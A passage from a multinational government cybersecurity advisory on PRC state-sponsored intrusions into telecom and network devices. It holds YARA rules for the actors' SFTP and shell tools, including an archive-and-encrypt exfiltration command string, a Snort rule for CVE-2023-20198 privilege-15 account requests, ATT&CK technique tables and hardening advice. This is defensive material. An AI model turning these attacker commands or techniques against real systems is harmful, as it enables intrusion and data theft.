"main.CapExport" $s4 = "main.SftpDownload" $s5 = ".(*SSHClient).CommandShell" $aes = "aes.decryptBlockGo" $buildpath = "C:/work/sync_v1/cmd/cmd1/main.go" condition: (uint32(0) == 0x464c457f or (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) or ((uint32(0) == 0xcafebabe) or (uint32(0) == 0xfeedface) or (uint32(0) == 0xfeedfacf) or (uint32(0) == 0xbebafeca) or (uint32(0) == 0xcefaedfe) or (uint32(0) == 0xcffaedfe))) and 5 of them } Table 6 : new2 SFTP client File Name new2 SHA 256 Hash da692ea0b7f24e31696f8b4fe8a130dbbe3c7c15cea6bde24cccc1fb0a73ae9e File Type ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=294d1f19a085a730da19a6c55788ec08c2187039, stripped New2 SFTP client Yara rule rule SALT_TYPHOON_NEW2_SFTP_CLIENT { meta: description = "Detects the Salt Typhoon New2 SFTP client. Rule is meant for threat hunting." strings: $set_1_1 = "invoke_shell" $set_1_2 = "execute_commands" $set_1_3 = "cmd_file" $set_1_4 = "stop_event" $set_1_5 = "decrypt_message" $set_2_1 = "COMMANDS_FILE" $set_2_2 = "RUN_TIME" $set_2_3 = "LOG_FILE" $set_2_4 = "ENCRYPTION_PASSWORD" $set_2_5 = "FIREWALL_ADDRESS" $set_3_1 = "commands.log" $set_3_2 = "Executing command: {}" $set_3_3 = "Connecting to: {}" $set_3_4 = "Network sniffer script." $set_3_5 = "tar -czvf - {0} | openssl des3 -salt -k password -out {0}.tar.gz" $set_required = { 00 70 61 72 61 6D 69 6B 6F } condition: $set_required and 4 of ($set_1_*) and 4 of ($set_2_*) and 4 of ($set_3_*) } Table 7 : sft SFTP client File Name sft SHA 256 Hash a1abc3d11c16ae83b9a7cf62ebe6d144dfc5e19b579a99bad062a9d31cf30bfe File Type ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=Q_mmdNzBVit4XSJyGrtd/ampmN-03i9bT1qzD9njH/MFeCrtuGl37O7UNKFQyk/sBN-cduKnfSAvXO7jzGG, with debug_info, not stripped CVE 2023-20198 Snort rule alert tcp any any -> any $HTTP_PORTS (msg:"Potential CVE-2023-20198 exploit attempt - HTTP Request to Add Privilege 15 User Detected"; content:"POST"; http_method; pcre:"/(webui_wsma|%2577ebui_wsma|%2577eb%2575i_%2577sma)/i"; http_uri; content:"<request xmlns=\\"urn:cisco:wsma-config\\" correlator=\\"execl\\">"; http_client_body; content:"<configApply details=\\"all\\">"; http_client_body; content:"<config-data>"; http_client_body; content:"<cli-config-data-block>"; http_client_body; content:"username"; http_client_body; content:"privilege 15"; http_client_body; content:"secret"; http_client_body; sid:1000003; rev:1;) Mitigations These APT actors are having considerable success using publicly known CVEs to gain access to networks, so organizations are strongly encouraged to prioritize patching in a way that is proportionate to this threat, such as by sequencing patches to address the highest risks first. See CISAs Known Exploited Vulnerabilities Catalog for further information. Specifically, organizations should ensure edge devices are not vulnerable to known exploited CVEs identified in this advisory. Note: This advisory uses MITRE D3FENDTM , version 1.2.0, cybersecurity countermeasures. See the Appendix C: MITRE D3FEND Countermeasures section of this advisory for a table of the mitigations mapped to MITRE D3FEND countermeasures. General recommendations Regularly review network device (especially router) logs and configurations for evidence of any unexpected, unapproved, or unusual activity, especially for the activities listed in this advisory [ D3-PM ]. In particular, check for: Unexpected GRE or other tunneling protocols, especially with foreign infrastructure [ D3-NTCD ]. Unexpected external IPs set as a TACACS+ or RADIUS server, or other AAA service configuration modifications. Unexpected external IPs in ACLs. Unexpected packet capture or network traffic mirroring settings. Unexpected virtual containers running on network devices, or, where virtual containers are expected, unexpected commands within the containers. Employ a robust change management process that includes periodic auditing of device configurations [ D3-PM ]. Ensure all networking configurations are stored, tracked, and regularly audited via a change management process. A change management process audits approved configurations against what is currently running in an organizations infrastructure. Review firewall rule creation and modification dates, cross referencing against change management approvals, to detect unauthorized rules or rule changes. Create alarms or alerts for unusual router administration access, commands, or other activity. Attempt to identify the full scope of a suspected compromise before mitigating. While it is important to contain the intrusion and prevent further malicious activity, if the full scope is not identified and mitigated fully, the actors may retain access and cause further malicious activity. Threat hunting and incident response efforts should be balanced against the total potential malicious activity with the goals of full eviction and minimizing damage. An established compromise by these APT actors will likely include recurring, large-scale exfiltration from the compromised network. In at least one instance, the APT actors utilized GRE and MPLS tunnels to move data back to China. Disable outbound connections from management interfaces to limit possible lateral movement activity between network devices [ D3-OTF ]. Disable all unused ports and protocols (both traffic and management protocols) [ D3-ACH ]. Only use encrypted and authenticated management protocols (e.g., SSH, SFTP/SCP, HTTPS) and disable all others, especially unencrypted protocols (e.g., Telnet, FTP, HTTP). Change all default administrative credentials, especially for network appliances and other network devices [ D3-CFP ]. Require public-key authentication for administrative roles. Disable password authentication where operationally feasible. Minimize authentication attempts and lockout windows to slow brute force and sprayed attempts [ D3-CH ]. Use the vendor recommended version of the network device operating system and keep it updated with all patches. Upgrade unsupported network devices to ones that are supported by the vendor with security updates [ D3-SU ]. Hardening management protocols and services Implement management-plane isolation and control-plane policing (CoPP) [ D3-NI ]. Place all device management services (SSH, HTTPS, SNMP, TACACS+/RADIUS, SCP/SFTP) strictly in a dedicated out-of-band management network or a management VRF. Ensure this management VRF has no route leakage to customers or peering VRFs and cannot initiate or receive sessions from data-plane or peering address space [ D3-ITF ]. Block all egress from the management VRF except to explicitly authorized AAA/syslog/NetFlow/IPFIX/telemetry collectors to prevent actor use of management interfaces as lateral movement conduits or exfiltration paths. Apply explicit management-plane ACLs at the control plane (e.g., CoPP/CPPr) to allowlist (i.e., default-deny) and rate-limit management protocols. Allow only approved management station IPs/subnets and jump servers. Apply these restrictions to all SNMP, TACACS+/RADIUS (TCP/UDP 49/1812/1813), HTTPS (TCP/443 and any configured non-default port), SSH (TCP/22 and any configured non-default port), and SFTP/SCP. For devices that do not support ACLs, place on a separate management Virtual Local Area Network (VLAN); an ACL can be applied to this management VLAN from an upstream device, such as a router or Layer 3 switch. Use SSHv2 only and disable Telnet. Audit and restrict SSH on non-default ports (e.g., 22x22 and xxx22 patterns) commonly used by the APT actors. If a web interface is operationally required, bind it only to the management VRF/interface. Use HTTPS only and disable unencrypted HTTP. Require AAA for web interface access. Monitor and alert on non-default high HTTPS ports (e.g., 18xxx) observed in intrusions. Use SNMPv3 only, and disable SNMPv1 and SNMPv2. Configure Trusted Managers and ACLs to limit SNMP access to only trusted devices. Change all weak and default SNMP community strings. Restrict and monitor SNMP writes. Enforce SNMPv3 with authPriv and apply VACM views that exclude configuration-altering MIB objects from write access. Only grant read access for required OIDs; reserve write access for tightly scoped automation accounts from approved managers. Continuously monitor SNMP SET operations and alert on changes to AAA servers, HTTP/HTTPS enablement or port changes, tunnel interfaces, SPAN/ERSPAN sessions, and routing and ACL objects. Actor tradecraft includes issuing SNMP SETs to make covert configuration changes at scale. Configure only strong cryptographic cipher suites for all management protocols (e.g., SSH, SFTP, HTTPS) and reject all weak ones. Enforce per-protocol rate limits (particularly for SSH, HTTPS, SNMP, TACACS+/RADIUS) to blunt credential-guessing and slow low-and-slow" abuse of built-in functions (e.g., Embedded Packet Capture, tunnel setup) without denying legitimate admin access. Eliminate unintended IPv6 management exposure. If IPv6 is enabled, apply equivalent controls for IPv6 as for IPv4. Enforce management-plane ACLs and CoPP for IPv6. Bind management services only to the management VRF/interface in IPv6. Audit for IPv6-reachable management services and tunnels, as the APT actors infrastructure includes IPv6 addresses. Implementing robust logging Ensure logging is enabled and forwarded to a centralized server. Set the trap and buffer logging levels on each device to at least syslog level informational (code 6) to collect all necessary information. Ensure all logs sent to a centralized logging server are transmitted via a secure, authenticated, and encrypted channel (such as IPsec, TLS, or SSH tunnels). The central server should maintain immutable logs with retention periods sufficient to support cybersecurity incident response investigations and comply with applicable retention policies. Enable AAA command accounting for privileged commands to record any attempts to invoke those commands. Routing best practices Utilize routing authentication mechanisms, when possible. Protect peering and edge routing paths often abused for covert redirection. Continuously validate static routes, policy-based routing (PBR), and VRF-leak policies at peering edges. Alert on additions that steer traffic toward non-standard GRE/IPsec endpoints or unexpected next hops. Enforce maximum-prefix limits, strict prefix/AS-path filtering, and only-expected communities on all external BGP (eBGP) sessions. Deny default and overly broad routes. Enable TTL security (GTSM) or equivalent for eBGP to reduce off-path attack surface. Require session protection (TCP-AO where supported, otherwise MD5) and monitor for BGP session resets and parameter changes from unexpected management origins. Virtual Private Network (VPN) best practices Delete default VPN Internet Key Exchange (IKE) policies and associated components. Create IKE policies consistent with applicable requirements and guidance on cryptographic algorithm use. For U.S. National Security Systems, follow Committee on National Security Systems Policy (CNSSP) 15 and other applicable policies: Diffie-Hellman Group: 16 with 4096 bit Modular Exponential (MODP) Diffie-Hellman Group: 20 with 384 bit Elliptic Curve Group (ECP) Encryption: AES-256 Hashing: SHA-384 Cisco-specific recommendations Disable the Cisco Smart Install feature. Store credentials using strong cryptography. Protect local credentials on Cisco networking devices using Type 8 (PBKDF2-SHA-256) where supported. Do not use Type 7 and transition from Type 5 (MD5) when possible. Use Type 6 (AES) key encryption to protect stored secrets (e.g., TACACS+/RADIUS shared secrets or IKE PSKs). Disable outbound connections from the VTYs (e.g., transport output none ). This prevents initiating SSH, Telnet, or other client sessions from the device via VTY, reducing its utility as a jump host. Monitor for any changes to this setting. Audit for unexpected enablement of IOS XR host SSH ( sshd_operns ) on TCP/57722. This is disabled by default, but has been observed being enabled by actors for persistence. When not required, disable the web configuration interface on applicable Cisco networking devices by running no ip http server and no ip http secure-server . If management via a web interface is required, ensure to enable only the HTTPS management interface by running the command ip http secure-server and keep no ip http server configured to prevent unencrypted access via HTTP. Ensure a final deny any any log line is added to all configured ACLs. This ensures that the denied connections are logged so they could be reviewed at a later date. Mitigating Guest Shell abuse Disable Guest Shell where not operationally required. For IOS XE, run guestshell disable to stop the container. Where supported, disable the IOx subsystem with no iox to prevent container hosting entirely. Confirm with show guestshell / show iox . For NX-OS, run guestshell disable to stop the container. Use guestshell destroy to uninstall it and return resources to the system. Confirm with show guestshell . Where Guest Shell is disabled, restrict (re)enabling Guest Shell. Enforce AAA command authorization (TACACS+/RADIUS) so only approved roles can run guestshell enable , guestshell run bash (IOS XE), run guestshell (NX-OS), guestshell disable/destroy , chvrf , dohost , or IOx-related commands. Where Guest Shell is used: Forward container logs (e.g., journald/systemd inside Guest Shell) to your SIEM. Device syslog does not capture process activity inside the container by default. Configure the VRF used by Guest Shell (management VRF on IOS XE; default VRF on NX-OS unless chvrf is used). Restrict egress to only required destinations (e.g., SIEM/AAA/telemetry collectors) with ACLs. Perform periodic inventories and integrity checks of device storage (e.g., bootflash: ) to detect unexpected files created from the container. Create alerts for guestshell disable / guestshell destroy and unexpected chvrf / dohost usage. Consider Cisco Embedded Event Manager (EEM) policies that snapshot state (running processes, container filesystem, storage listings) when these events occur. Additional Cisco resources: Cisco Software Checker : Resource to find if any known vulnerabilities affect a version of IOS that may be currently in use. Cisco IOS Hardening Guide : Resource for IOS devices. Cisco IOS XE Hardening Guide : Resource for IOS XE devices. Cisco Forensic Guides : Resources to verify the integrity of affected devices. Guide to Securing NX-OS Software Devices : Resource if using applicable devices. Resources Additional information can be found in the following publicly available guidance. United States resources (NSA, CISA, FBI) PRC State-Sponsored Cyber Actors Exploit Network Providers and Devices ( Note: The Telecommunications and Network Service Provider Targeting section begins on page 4. Those TTPs, router commands, and mitigations are relevant for the activity listed in this advisory.) (CISA, NSA, FBI) Enhanced Visibility and Hardening Guidance for Communications Infrastructure (NSA) Cisco Password Types: Best Practices (NSA) Cisco Smart Install Protocol Misuse (NSA) Performing Out-of-Band Network Management (NSA) Network Infrastructure Security Guide (CISA) Mobile Communications Best Practice Guidance United Kingdom resources (Legislation) Telecommunications Security Act (2021) (Technical Guidance) Telecommunications Security Act (2021) Code of Practice (NCSC Guidance) Cyber Assessment Framework (NCSC Guidance) Guidance on using IPsec to protect data (NCSC Guidance) Principles for secure privileged access workstations (PAWS) (Ofcom Guidance) Telecoms industry guidance International resources (Technical Specification) ETSI Privileged Access Workstations: Part 1: Physical [TS 103 994-1] (Technical Specification) ETSI Privileged Access Workstations: Part 2: Connectivity [TS 103 994-2] Acknowledgements The NSA Cybersecurity Collaboration Center, along with the authoring agencies, acknowledge Amazon Web Services (AWS) Security, Cisco Security & Trust, Cisco Talos, Crowdstrike, Google Mandiant, Google Threat Intelligence, Greynoise, Microsoft, PwC Threat Intelligence, and additional industry partners for their contribution to this advisory. Version History 27 August 2025, v1.0: Initial publication 3 September 2025, v1.1: Japan NCO name correction, added introduction in Technical details, update in Initial access to clarify example CVEs ordering, one IP correction and two removals. Disclaimer of endorsement The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the authoring agencies, and this guidance shall not be used for advertising or product endorsement purposes. Purpose This document was developed in furtherance of the authoring agencies cybersecurity missions, including their responsibilities to identify and disseminate threats and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders. Contact information The following contacts are non-exhaustive, and organizations should follow all applicable reporting requirements for a given incident or other event. United States organizations National Security Agency (NSA) Cybersecurity Report Feedback: CybersecurityReports@nsa.gov Defense Industrial Base Inquiries and Cybersecurity Services: DIB_Defense@cyber.nsa.gov Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, MediaRelations@nsa.gov Cybersecurity and Infrastructure Security Agency (CISA) and Federal Bureau of Investigation (FBI) U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA via the agencys Incident Reporting System , its 24/7 Operations Center ( contact@mail.cisa.dhs.gov , 888-282-0870, or reporting online at cisa.gov/report ), or your local FBI field office . Methods for initial access are a critical information gap for parties working to understand the scope, scale, and impact of these APT actors. When available, please include the following information regarding the incident: Type of activity and types of equipment affected by or used in the activity; APT actors tactics, techniques, and procedures (TTPs) used to conduct initial access and/or lateral movement; Exfiltration infrastructure and associated techniques (Layer 2/Layer 3); Passwords and associated techniques used to encrypt exfiltrated data; Likely or confirmed compromised routing equipment connected to or used by government networks; Insights into how the compromised devices are tasked (i.e., how is traffic of interest selected for collection/redirection); Signs of compromise or persistence beyond the specific network devices themselves (e.g., additional targets, such as network operations staff, IT/corporate email, etc.). Date, time, and location of the incident; Number of people affected; Name of the submitting company or organization; and Designated point of contact. Department of Defense Cyber Crime Center (DC3) Defense Industrial Base Inquiries and Cybersecurity Services: DC3.DCISE@us.af.mil Media Inquiries / Press Desk: DC3.Information@us.af.mil Australian organizations Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. Canadian organizations Report incidents by emailing CCCS at contact@cyber.gc.ca . Canadian Security Intelligence Service (CSIS) Media Inquiries / Press Desk: media-medias@smtp.gc.ca New Zealand organizations New Zealand National Cyber Security Centre (NCSC-NZ): info@ncsc.govt.nz . United Kingdom organizations UK National Cyber Security Centre (NCSC) The NCSC---a part of intelligence, security, and cyber agency GCHQ---is the UKs technical authority on cyber security. UK organizations should report significant cyber security incidents via https://report.ncsc.gov.uk/ (monitored 24/7). Ofcom Ofcom is the UKs communications regulator and is responsible for enforcing the telecoms security provisions in the Communications Act (2003) and the Telecommunications Security Act (2021). Guidance and contact information on standards, specifications, and other requirements for the UK telecoms industry can be found at https://www.ofcom.org.uk . For general inquiries: networksecurityenquiries@ofcom.org.uk For incident reports: incident@ofcom.org.uk Czech Republic organizations National Cyber and Information Security Agency (NUKIB): cert.incident@nukib.gov.cz . Finnish organizations Finnish Security and Intelligence Service (SUPO): https://supo.fi/en/contact Germany organizations Bundesnachrichtendienst (BND): Media Relations / Press Desk: +49 30 20 45 36 30, pressestelle@bnd.bund.de BfV Prevention/Economic Protection Unit: +49 30 18792-3322, wirtschaftsschutz@bfv.bund.de BSI Service-Center: +49 800 274 1000, service-center@bsi.bund.de Italian organizations Italian External Intelligence and Security Agency (AISE): Visit https://www.sicurezzanazionale.gov.it/chi-siamo/organizzazione/aise . Italian Internal Intelligence and Security Agency (AISI): Visit https://www.sicurezzanazionale.gov.it/chi-siamo/organizzazione/aisi . Japanese organizations National Cybersecurity Office (NCO): first-team@cyber.go.jp Polish organizations Polish Foreign Intelligence Agency (AW): CTIteam@aw.gov.pl Polish Military Counterintelligence Service (SKW): cyber.int@skw.gov.pl Appendix A: MITRE ATT&CK tactics and techniques See Table 8 through Table 20 for all the threat actor tactics and techniques referenced in this advisory. Table 8 : Reconnaissance Technique Title ID Use Active Scanning T1595 Actively scan for open ports and services Gather Victim Network Information: Network Topology T1590.004 Leverage configuration files from exploited devices to gather the network topology information Table 9 : Resource Development Technique Title ID Use Acquire Infrastructure: Virtual Private Servers T1583.003 Leverage VPS as infrastructure Compromise Infrastructure: Network Devices T1584.008 Compromise intermediate routers Obtain Capabilities: Exploits T1588.005 Utilize publicly available code (siet.py) to exploit vulnerable devices Obtain Capabilities: Tool T1588.002 Utilize publicly available tooling (e.g., map.tcl, tclproxy.tcl, wodSSHServer) Table 10 : Initial Access Technique Title ID Use Exploit Public-Facing Application T1190 Exploit publicly known CVEs Trusted Relationship T1199 Leverage trusted connections between providers to pivot between networks Table 11 : Execution Technique Title ID Use System Services T1569 Executing commands via SNMP Container Administration Command T1609 Use Guest Shell to load open-source tools and as a jump point for reconnaissance and follow-on actions in the environment Command and Scripting Interpreter: Python T1059.006 Use Python script siet.py Command and Scripting Interpreter: Network Device CLI T1059.008 Use built-in CLI on network devices to execute native commands Table 12 : Persistence Technique Title ID Use Create Account: Local Account T1136.001 Create new local users on network devices for persistence Container Service T1543.005 Leverage Linux-based Guest Shell containers, natively supported in a variety of Cisco OS software Account Manipulation: SSH Authorized Keys T1098.004 Regain entry into environments via SSH into network devices Table 13 : Privilege Escalation Technique Title ID Use Exploitation for Privilege Escalation T1068 Exploit CVE-2023-20273 to gain root-level user privileges Brute Force: Password Cracking T1110.002 Brute force passwords with weak encryption in obtained configuration files Table 14 : Defense Evasion Technique Title ID Use Obfuscated Files or Information: Command Obfuscation T1027.010 Obfuscate paths with double encoding Obfuscated Files or Information T1027 Obfuscate source IP addresses in system logs, as actions may be recorded as originating from local IP addresses Impair Defenses: Disable or Modify System Firewall T1562.004 Modify ACLs, adding IP addresses to bypass security policies and permit traffic from a threat actor-controlled IP address Deploy Container T1610 Deploy virtual container (e.g., Guest Shell) on network infrastructure to persist and evade monitoring services Indicator Removal T1070 Delete and/or clear logs Indicator Removal: Clear Persistence T1070.009 Use Guest Shell destroy command to deactivate and uninstall Guest Shell container and return all resources to the system Network Boundary Bridging T1599 Abuse peering connections Table 15 : Credential Access Technique Title ID Use Network Sniffing T1040 Passively collect packet capture (PCAP) from networks for configurations and credentials Modify Authentication Process T1556 Modify a routers TACACS+ server configuration to point to an APT actor-controlled IP address to capture authentication attempts or modify AAA configurations to use less secure authentication methods OS Credential Dumping T1003 Collect router configuration with weak Cisco Type 7 passwords Brute Force: Password Cracking T1110.002 Brute force weak hashed Cisco Type 5 password Table 16 : Discovery Technique Title ID Use System Information Discovery T1082 Leverage CLI on network devices to gather system information System Network Configuration Discovery T1016 Enumerate interfaces/VRFs/routing/ACLs and related network settings from the device CLI/SNMP Table 17 : Lateral Movement Technique Title ID Use Remote Services T1021 Enumerate and alter the SNMP configurations for other devices in the same community group Remote Services: SSH T1021.004 Enable SSH servers and open external-facing ports on network devices to maintain encrypted remote access Table 18 : Collection Technique Title ID Use Archive Collected Data T1560 Compile configurations and packet captures Data from Configuration Repository: SNMP (MIB Dump) T1602.001 Target MIB to collect network information via SNMP Data from Configuration Repository: Network Device Configuration Dump T1602.002 Acquire credentials by collecting network device configurations Data from Local System T1005 Passively collect PCAP from specific ISP customer networks Table 19 : Command and Control Technique Title ID Use Proxy T1090 Use VPS for C2 Proxy: Multi-hop Proxy T1090.003 Leverage open source multi-hop pivoting tools, such as STOWAWAY, to build chained relays for command and control and operator access Application Layer Protocol T1071 Open and expose a variety of different services (e.g., Secure Shell [SSH], Secure File Transfer Protocol [SFTP], Remote Desktop Protocol [RDP], File Transfer Protocol [FTP], HTTP, HTTPS) Non-Standard Port T1571 Utilize non-standard ports to evade detection by security monitoring tools that focus on standard port activity Protocol Tunneling T1572 Create tunnels over protocols such as GRE, mGRE, or IPsec on network devices Non-Application Layer Protocol T1095 Use GRE/IPsec to carry C2 over non-application layer protocols Table 20 : Exfiltration Technique Title ID Use Exfiltration over Alternative Protocol T1048.003 Use tunnels, such as IPsec and GRE, to conduct C2 and exfiltration activities Appendix B: CVEs exploited Table 21 : Exploited CVE information CVE Vendor/Product Details CVE-2024-21887 Ivanti Connect Secure and Ivanti Policy Command injection vulnerability, commonly chained after CVE-2023-46805 (authentication bypass) CVE-2024-3400 Palo Alto Networks PAN-OS GlobalProtect Arbitrary file creation leading to OS command injection, allowing for unauthenticated remote code execution (RCE) on firewalls when GlobalProtect is enabled on specific versions/configurations CVE-2023-20273 Cisco IOS XE Web management user interface post-authentication command injection/privilege escalation (commonly chained with CVE-2023-20198 for initial access to achieve code execution as root) CVE-2023-20198 Cisco IOS XE Authentication bypass vulnerability to create unauthorized administrative accounts CVE-2018-0171 Cisco IOS and IOS XE Smart Install remote code execution vulnerability Appendix C: MITRE D3FEND Countermeasures Table 22 : MITRE D3FEND countermeasures Countermeasure Title ID Details Platform Monitoring D3-PM Regularly review network device (especially router) logs and configurations for evidence of any unexpected, unapproved, or unusual activity, especially for changes to network tunnels, AAA configurations, ACLs, packet captures or network mirroring, and virtual containers Network Traffic Community Deviation D3-NTCD Check for unexpected GRE or other tunneling protocols, unexpected TACACS+ or RADIUS servers, or other unusual traffic Outbound Traffic Filtering D3-OTF Disable outbound connections from management interfaces Application Configuration Hardening D3-ACH Disable all unused ports and protocols (both traffic and management protocols), disable Cisco smart install, disable Cisco Guest Shell, use only strong cryptographic algorithms Change Default Password D3-CFP Change all default administrative credentials and SNMP community strings Credential Hardening D3-CH Disable password authentication where possible, use strong PKI-based or multifactor authentication, use strong cryptographic password storage settings (i.e., Cisco Type 8), and use lockouts to slow brute force attempts Software Update D3-SU Update software to patch known vulnerabilities and upgrade devices to supported versions Network Isolation D3-NI Implement management-plane isolation and control-plane policing (CoPP) to keep all network management traffic separate from data plane traffic Inbound Traffic Filtering D3-ITF Ensure management VRFs cannot receive traffic from the data plane This product is provided subject to this Notification and this Privacy & Use policy. Tags Audience : Federal Government, Industry, Small and Medium Businesses, State, Local, Tribal, and Territorial Government Co-Sealers and Partners : Federal Bureau of Investigation, International, National Security Agency MITRE ATT&CK TTP : Collection (TA0009), Command and Control (TA0011), Credential Access (TA0006), Defense Evasion (TA0005), Discovery (TA0007), Execution (TA0002), Exfiltration (TA0010), Initial Access (TA0001), Lateral Movement (TA0008), Persistence (TA0003), Privilege Escalation (TA0004), Reconnaissance (TA0043), Resource Development (TA0042) Nation-State Actor : China Sector : Communications Sector Topics : Critical Infrastructure Security and Resilience , Cybersecurity Best Practices Please share your thoughts We recently updated our anonymous product survey ; we welcome your feedback. Related Advisories Apr 23, 2026 Cybersecurity Advisory | AA26-113A Defending Against China-Nexus Covert Networks of Compromised Devices Apr 07, 2026 Cybersecurity Advisory | AA26-097A Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure Dec 09, 2025 Cybersecurity Advisory | AA25-343A Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure Sep 23, 2025 Cybersecurity Advisory | AA25-266A CISA Shares Lessons Learned from an Incident Response Engagement Return to top Topics Spotlight Resources & Tools News & Events Careers About Cybersecurity & Infrastructure Security Agency Facebook X LinkedIn YouTube Instagram RSS CISA Central 1-844-Say-CISA contact@cisa.dhs.gov DHS Seal CISA.gov An official website of the U.S. Department of Homeland Security About CISA Budget and Performance DHS.gov FOIA Requests No FEAR Act Office of Inspector General Privacy Policy Subscribe The White House USA.gov Website Feedback
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*Archived reference article for AICSR-STUDY-2026-001 footnote corpus.*
